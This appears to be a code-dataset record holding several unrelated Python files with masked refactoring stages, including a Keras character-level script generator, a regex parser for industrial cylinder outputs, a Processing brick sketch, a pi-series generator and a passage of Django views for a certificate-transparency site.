load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) if __name__ == '__main__': main() <\|reserved_special_token_1\|> #!/usr/bin/python3 import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2' os.environ['KERAS_BACKEND'] = 'tensorflow' import numpy as np import sys from util import load_model from keras.preprocessing.text import hashing_trick from keras.preprocessing.sequence import pad_sequences from southpark.southpark_generative import string_one_hot, char_one_hot MODEL_NAME = "script_gen_demo_model" def main(): print("Loading model...") model, charset = load_model(MODEL_NAME) print(charset) seed_text = input("Enter a String: ").strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp = 0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp = 1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding = 'post', maxlen = 64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature = 1.0): # helper function to sample an index from a probability array if temperature <= 0.0: return np.argmax(results) #num_choices = results.shape[0] # (batch, outputs) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p = probs) #preds = np.asarray(preds).astype('float64') #preds = np.log(preds) / temperature #exp_preds = np.exp(preds) #preds = exp_preds / np.sum(exp_preds) #probas = np.random.multinomial(1, preds, 1) # #print(probas) #return np.argmax(probas) if __name__ == "__main__": main()	flexible	{ "blob_id": "ed7b29a4d7f3a48884434373418c3528f2f397ac", "index": 271, "step-1": "<mask token>\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\nif __name__ == '__main__':\n main()\n", "step-3": "<mask token>\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nos.environ['KERAS_BACKEND'] = 'tensorflow'\n<mask token>\nMODEL_NAME = 'script_gen_demo_model'\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nos.environ['KERAS_BACKEND'] = 'tensorflow'\nimport numpy as np\nimport sys\nfrom util import load_model\nfrom keras.preprocessing.text import hashing_trick\nfrom keras.preprocessing.sequence import pad_sequences\nfrom southpark.southpark_generative import string_one_hot, char_one_hot\nMODEL_NAME = 'script_gen_demo_model'\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "#!/usr/bin/python3\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'\nos.environ['KERAS_BACKEND'] = 'tensorflow'\n\nimport numpy as np\nimport sys\n\nfrom util import load_model\nfrom keras.preprocessing.text import hashing_trick\nfrom keras.preprocessing.sequence import pad_sequences \n\nfrom southpark.southpark_generative import string_one_hot, char_one_hot\n\n\nMODEL_NAME = \"script_gen_demo_model\"\n\ndef main():\n print(\"Loading model...\") \n model, charset = load_model(MODEL_NAME)\n \n print(charset)\n\n seed_text = input(\"Enter a String: \").strip()\n print()\n generate_script(seed_text, model, charset)\n\ndef generate_script(seed_text, model, charset):\n \n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp = 0.2)\n \n sys.stdout.write(next_char)\n sys.stdout.flush()\n \n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n \ndef sample(model, string, charset, temp = 1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding = 'post', maxlen = 64)\n preds = model.predict(inputs)[0]\n \n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature = 1.0):\n # helper function to sample an index from a probability array\n\n if temperature <= 0.0:\n return np.argmax(results)\n \n #num_choices = results.shape[0] # (batch, outputs)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p = probs)\n\n\n #preds = np.asarray(preds).astype('float64')\n #preds = np.log(preds) / temperature\n #exp_preds = np.exp(preds)\n #preds = exp_preds / np.sum(exp_preds)\n #probas = np.random.multinomial(1, preds, 1)\n #\n #print(probas)\n\n #return np.argmax(probas)\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n", "step-ids": [ 4, 5, 6, 7, 8 ] }	[ 4, 5, 6, 7, 8 ]
<\|reserved_special_token_0\|> class Zouts: <\|reserved_special_token_0\|> def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Zout: <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Zout: <\|reserved_special_token_0\|> def tozout(self, aline): """transform station statement to Cylinder Outputs struct""" pattern = re.compile( '.(?P<Var>A.[sS]t(?P<StN>\\d+)_Y(?P<ZN>\\d+)_[24]_(?P<ZName>\\w+)_(?P<Motion>open\|close\|forward\|backward\|up\|upward\|down\|downward\|left\|leftward\|right\|rightward))\\s\\).' ) match = pattern.match(aline) if match: self.Var = match.group('Var') self.StN = match.group('StN') self.ZN = match.group('ZN') self.ZName = match.group('ZName') self.Motion = match.group('Motion') self.Motion = re.sub('^(up\|down\|left\|right)$', '\\1ward', self. Motion) isgrippermatch = re.compile('.(open\|close).').match(aline) if isgrippermatch: self.Ztype = 'gripper' else: self.Ztype = 'not gripper' <\|reserved_special_token_0\|> class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var) <\|reserved_special_token_1\|> import re class Zout: def __init__(self, aline): self.Str = aline self.Var = '' self.StN = '' self.ZN = '' self.ZName = '' self.Motion = '' self.Ztype = '' self.tozout(aline) def tozout(self, aline): """transform station statement to Cylinder Outputs struct""" pattern = re.compile( '.(?P<Var>A.[sS]t(?P<StN>\\d+)_Y(?P<ZN>\\d+)_[24]_(?P<ZName>\\w+)_(?P<Motion>open\|close\|forward\|backward\|up\|upward\|down\|downward\|left\|leftward\|right\|rightward))\\s\\).' ) match = pattern.match(aline) if match: self.Var = match.group('Var') self.StN = match.group('StN') self.ZN = match.group('ZN') self.ZName = match.group('ZName') self.Motion = match.group('Motion') self.Motion = re.sub('^(up\|down\|left\|right)$', '\\1ward', self. Motion) isgrippermatch = re.compile('.(open\|close).').match(aline) if isgrippermatch: self.Ztype = 'gripper' else: self.Ztype = 'not gripper' def display(self): print(self.Var) class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var) <\|reserved_special_token_1\|> import re class Zout: def __init__(self, aline): self.Str = aline self.Var = '' self.StN = '' self.ZN = '' self.ZName = '' self.Motion = '' self.Ztype = '' self.tozout(aline) def tozout(self, aline): """transform station statement to Cylinder Outputs struct""" # SetAusg(A120,5,A.St201_Y1_2_SwivelUnit_backward); #front\|back\|up\|down\|left\|right pattern = re.compile(r'.(?P<Var>A.[sS]t(?P<StN>\d+)_Y(?P<ZN>\d+)_[24]_(?P<ZName>\w+)_' r'(?P<Motion>open\|close\|forward\|backward\|up\|upward\|down\|downward\|left\|leftward\|right\|rightward))\s\).') match = pattern.match(aline) if match: #print('match') self.Var = match.group('Var') self.StN = match.group('StN') self.ZN = match.group('ZN') self.ZName = match.group('ZName') self.Motion = match.group('Motion') # if re.compile(r'^up\|down\|left\|right$').match(self.Motion): # self.Motion = self.Motion+'ward' # obj = re.compile(r'up\|down\|left\|right') # if obj.match(self.Motion): # print('match') # self.Motion = obj.subn('ward',self.Motion)[0] self.Motion = re.sub(r'^(up\|down\|left\|right)$',r'\1ward', self.Motion) isgrippermatch = re.compile(r'.(open\|close).').match(aline) if isgrippermatch: self.Ztype = 'gripper' else: self.Ztype = 'not gripper' def display(self): print(self.Var) class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var)	flexible	{ "blob_id": "71ebc6e9218085e887eda7843b5489837ed45c97", "index": 880, "step-1": "<mask token>\n\n\nclass Zouts:\n <mask token>\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Zout:\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Zouts:\n\n def __init__(self):\n self.elements = []\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n\n def display(self):\n for elem in self.elements:\n print(elem.Var)\n", "step-3": "<mask token>\n\n\nclass Zout:\n <mask token>\n\n def tozout(self, aline):\n \"\"\"transform station statement to Cylinder Outputs struct\"\"\"\n pattern = re.compile(\n '.(?P<Var>A.[sS]t(?P<StN>\\\\d+)_Y(?P<ZN>\\\\d+)_[24]_(?P<ZName>\\\\w+)_(?P<Motion>open\|close\|forward\|backward\|up\|upward\|down\|downward\|left\|leftward\|right\|rightward))\\\\s\\\\).'\n )\n match = pattern.match(aline)\n if match:\n self.Var = match.group('Var')\n self.StN = match.group('StN')\n self.ZN = match.group('ZN')\n self.ZName = match.group('ZName')\n self.Motion = match.group('Motion')\n self.Motion = re.sub('^(up\|down\|left\|right)$', '\\\\1ward', self.\n Motion)\n isgrippermatch = re.compile('.(open\|close).').match(aline)\n if isgrippermatch:\n self.Ztype = 'gripper'\n else:\n self.Ztype = 'not gripper'\n <mask token>\n\n\nclass Zouts:\n\n def __init__(self):\n self.elements = []\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n\n def display(self):\n for elem in self.elements:\n print(elem.Var)\n", "step-4": "import re\n\n\nclass Zout:\n\n def __init__(self, aline):\n self.Str = aline\n self.Var = ''\n self.StN = ''\n self.ZN = ''\n self.ZName = ''\n self.Motion = ''\n self.Ztype = ''\n self.tozout(aline)\n\n def tozout(self, aline):\n \"\"\"transform station statement to Cylinder Outputs struct\"\"\"\n pattern = re.compile(\n '.(?P<Var>A.[sS]t(?P<StN>\\\\d+)_Y(?P<ZN>\\\\d+)_[24]_(?P<ZName>\\\\w+)_(?P<Motion>open\|close\|forward\|backward\|up\|upward\|down\|downward\|left\|leftward\|right\|rightward))\\\\s\\\\).'\n )\n match = pattern.match(aline)\n if match:\n self.Var = match.group('Var')\n self.StN = match.group('StN')\n self.ZN = match.group('ZN')\n self.ZName = match.group('ZName')\n self.Motion = match.group('Motion')\n self.Motion = re.sub('^(up\|down\|left\|right)$', '\\\\1ward', self.\n Motion)\n isgrippermatch = re.compile('.(open\|close).').match(aline)\n if isgrippermatch:\n self.Ztype = 'gripper'\n else:\n self.Ztype = 'not gripper'\n\n def display(self):\n print(self.Var)\n\n\nclass Zouts:\n\n def __init__(self):\n self.elements = []\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n\n def display(self):\n for elem in self.elements:\n print(elem.Var)\n", "step-5": "import re\r\n\r\nclass Zout:\r\n def __init__(self, aline):\r\n self.Str = aline\r\n self.Var = ''\r\n self.StN = ''\r\n self.ZN = ''\r\n self.ZName = ''\r\n self.Motion = ''\r\n self.Ztype = ''\r\n self.tozout(aline)\r\n\r\n def tozout(self, aline):\r\n \"\"\"transform station statement to Cylinder Outputs struct\"\"\"\r\n # SetAusg(A120,5,A.St201_Y1_2_SwivelUnit_backward);\r\n #front\|back\|up\|down\|left\|right\r\n pattern = re.compile(r'.(?P<Var>A.[sS]t(?P<StN>\\d+)_Y(?P<ZN>\\d+)_[24]_(?P<ZName>\\w+)_'\r\n r'(?P<Motion>open\|close\|forward\|backward\|up\|upward\|down\|downward\|left\|leftward\|right\|rightward))\\s\\).')\r\n match = pattern.match(aline)\r\n if match:\r\n #print('match')\r\n self.Var = match.group('Var')\r\n self.StN = match.group('StN')\r\n self.ZN = match.group('ZN')\r\n self.ZName = match.group('ZName')\r\n self.Motion = match.group('Motion')\r\n # if re.compile(r'^up\|down\|left\|right$').match(self.Motion):\r\n # self.Motion = self.Motion+'ward'\r\n # obj = re.compile(r'up\|down\|left\|right')\r\n # if obj.match(self.Motion):\r\n # print('match')\r\n # self.Motion = obj.subn('ward',self.Motion)[0]\r\n self.Motion = re.sub(r'^(up\|down\|left\|right)$',r'\\1ward', self.Motion)\r\n isgrippermatch = re.compile(r'.(open\|close).').match(aline)\r\n if isgrippermatch:\r\n self.Ztype = 'gripper'\r\n else:\r\n self.Ztype = 'not gripper'\r\n\r\n def display(self):\r\n print(self.Var)\r\n\r\nclass Zouts:\r\n def __init__(self):\r\n self.elements = []\r\n\r\n def search(self, StN, ZN, Motion):\r\n for elem in self.elements:\r\n print('elem:')\r\n print(str(type(elem.StN)) + str(type(StN)))\r\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\r\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\r\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\r\n print('match')\r\n return elem\r\n print('not match')\r\n return None\r\n\r\n def add(self, zout):\r\n self.elements.append(zout)\r\n\r\n def display(self):\r\n for elem in self.elements:\r\n print(elem.Var)", "step-ids": [ 3, 6, 7, 10, 11 ] }	[ 3, 6, 7, 10, 11 ]
class Rect(): def __init__(self, w, h): self.w = w self.h = h def half(self): return self.w / 2; bricks = [Rect(40, 25), Rect(30, 25), Rect(28, 25), Rect(13, 25)] def setup(): size(500, 500) noLoop() def draw(): posx = 0 posy = 0 i = 0 for y in range(20): posx = 0 for x in range(50): fill(random(100, 250)) brick = get_brick(i) rect(posx, posy, brick.w, brick.h) posx += brick.w i += 1 posy += brick.h def get_brick(index): i = int(random(len(bricks))) # i = index % len(bricks) return bricks[i]	normal	{ "blob_id": "807f0094a9736abdfa3f5b629615a80f1e0d13ef", "index": 3037, "step-1": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\n<mask token>\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\n<mask token>\n", "step-2": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\n<mask token>\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\ndef draw():\n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\n\n<mask token>\n", "step-3": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\n<mask token>\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\ndef draw():\n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\n\ndef get_brick(index):\n i = int(random(len(bricks)))\n return bricks[i]\n", "step-4": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\nbricks = [Rect(40, 25), Rect(30, 25), Rect(28, 25), Rect(13, 25)]\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\ndef draw():\n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\n\ndef get_brick(index):\n i = int(random(len(bricks)))\n return bricks[i]\n", "step-5": "class Rect():\n def __init__(self, w, h):\n self.w = w\n self.h = h\n \n def half(self):\n return self.w / 2;\n \nbricks = [Rect(40, 25), Rect(30, 25), Rect(28, 25), Rect(13, 25)]\n\ndef setup():\n size(500, 500)\n noLoop()\n \ndef draw():\n \n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\ndef get_brick(index):\n i = int(random(len(bricks)))\n# i = index % len(bricks)\n return bricks[i]\n", "step-ids": [ 4, 5, 6, 7, 8 ] }	[ 4, 5, 6, 7, 8 ]
def odds(): n = 1 while True: yield n n += 2 <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += 4 / next(odd_nums) yield approximation approximation -= 4 / next(odd_nums) yield approximation <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += 4 / next(odd_nums) yield approximation approximation -= 4 / next(odd_nums) yield approximation <\|reserved_special_token_0\|> for x in range(10000): print(next(approx_pi)) <\|reserved_special_token_1\|> def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += 4 / next(odd_nums) yield approximation approximation -= 4 / next(odd_nums) yield approximation approx_pi = pi_series() for x in range(10000): print(next(approx_pi)) <\|reserved_special_token_1\|> # Generates an infinite series of odd numbers def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += (4 / next(odd_nums)) yield approximation approximation -= (4 / next(odd_nums)) yield approximation approx_pi = pi_series() # The higher the range used here the closer to an acurate approximation of PI. for x in range(10000): print(next(approx_pi))	flexible	{ "blob_id": "26ef7de89e2e38c419310cc66a33d5dc0575fc0d", "index": 5012, "step-1": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\n<mask token>\n", "step-2": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += 4 / next(odd_nums)\n yield approximation\n approximation -= 4 / next(odd_nums)\n yield approximation\n\n\n<mask token>\n", "step-3": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += 4 / next(odd_nums)\n yield approximation\n approximation -= 4 / next(odd_nums)\n yield approximation\n\n\n<mask token>\nfor x in range(10000):\n print(next(approx_pi))\n", "step-4": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += 4 / next(odd_nums)\n yield approximation\n approximation -= 4 / next(odd_nums)\n yield approximation\n\n\napprox_pi = pi_series()\nfor x in range(10000):\n print(next(approx_pi))\n", "step-5": "# Generates an infinite series of odd numbers\ndef odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += (4 / next(odd_nums))\n yield approximation\n approximation -= (4 / next(odd_nums))\n yield approximation\n\napprox_pi = pi_series()\n\n# The higher the range used here the closer to an acurate approximation of PI.\nfor x in range(10000):\n print(next(approx_pi))\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
from django.shortcuts import render, get_object_or_404 from django.utils import timezone from django.db.models import Count from django.db.models import QuerySet from django.db import connection from django.core.paginator import Paginator, PageNotAnInteger from django.http import HttpResponse from django.http import HttpResponsePermanentRedirect import datetime import os import json from ctobservatory.settings import BASE_DIR from .models import * from notification.forms import SubscribeUnsubscribeForm #from .issuefinder import * import observer.issuefinder as issuefinder from django.template.defaulttags import register import hashlib import psycopg2 ITEMS_PER_PAGE = 50 @register.filter def get_item(dictionary, key): return dictionary.get(key) class FastCountQuerySet(): def __init__(self, queryset, tablename): self.queryset = queryset self.tablename = tablename def count(self): cursor = connection.cursor() cursor.execute("SELECT reltuples FROM pg_class WHERE relname = %s", [self.tablename]) row = cursor.fetchone() count = int(row[0]) cursor.close() return count # passthrough all the other methods def __getattr__(self, attr): try: return object.__getattr__(self, attr) except AttributeError: return getattr(self.queryset, attr) def __getitem__(self, item): return self.queryset[item] class MetadataCountQuerySet(): def __init__(self, queryset, propertyname): self.queryset = queryset self.propertyname = propertyname def count(self): cursor = connection.cursor() cursor.execute("SELECT name_value FROM metadata WHERE name_type = %s", [self.propertyname]) row = cursor.fetchone() count = int(row[0]) cursor.close() return count # passthrough all the other methods def __getattr__(self, attr): try: return object.__getattr__(self, attr) except AttributeError: return getattr(self.queryset, attr) def __getitem__(self, key): return self.queryset[key] def index(request): metadata = {} expired_certs = 0 active_certs = 0 total_certs = 0 total_cas = 0 messages = [] if('subok' in request.GET): messages.append({'class':'alert-info','text':'<strong>Subscription request</strong> - We sent you a confirmation link via email. Click it, and you should be all set.'}) if('unsubok' in request.GET): messages.append({'class':'alert-info','text':'<strong>Unsubscription request</strong> - We sent you a confirmation link via email. sClick it, and you should be all set.'}) subscribeform = SubscribeUnsubscribeForm() with connection.cursor() as c: c.execute("SELECT NAME_TYPE, NAME_VALUE FROM metadata") rows = c.fetchall() for row in rows: metadata[row[0]] = row[1] return render(request, 'observer/index.html', { 'total_certs': metadata['number_of_certs'], 'total_ca': metadata['number_of_cas'], 'total_logs': CtLog.objects.count(), 'active_certs': metadata['number_of_active_certs'], 'expired_certs': metadata['number_of_expired_certs'], 'revoked_certs': metadata['number_of_revoked_certs'], 'misissued_certs': metadata['number_of_misissued_certs'], 'behaving_cas' : metadata['number_of_correctly_behaving_cas'], 'interesting_cas' : metadata['number_of_interesting_cas'], 'biggest_log' : metadata['number_of_certs_in_biggest_log'], 'biggest_log_name' : CtLog.objects.get(id=metadata['biggest_log_id']).name, 'smallest_log' : metadata['number_of_certs_in_smallest_log'], 'uptime_days': (timezone.now().date()-datetime.date(2015,10,14)).days, #TODO 'messages' : messages, 'subscribeform' : subscribeform } ) def search(request): term = request.GET.get("term","") #found_ca = Ca.objects.filter(name__icontains=term) #found_cn_dnsname = Certificate.objects.raw("SELECT DISTINCT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, x509_notBefore(CERTIFICATE) FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE (NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s))) OR (NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s))) #ORDER BY x509_notBefore(CERTIFICATE) DESC", [term, term]) return render(request, 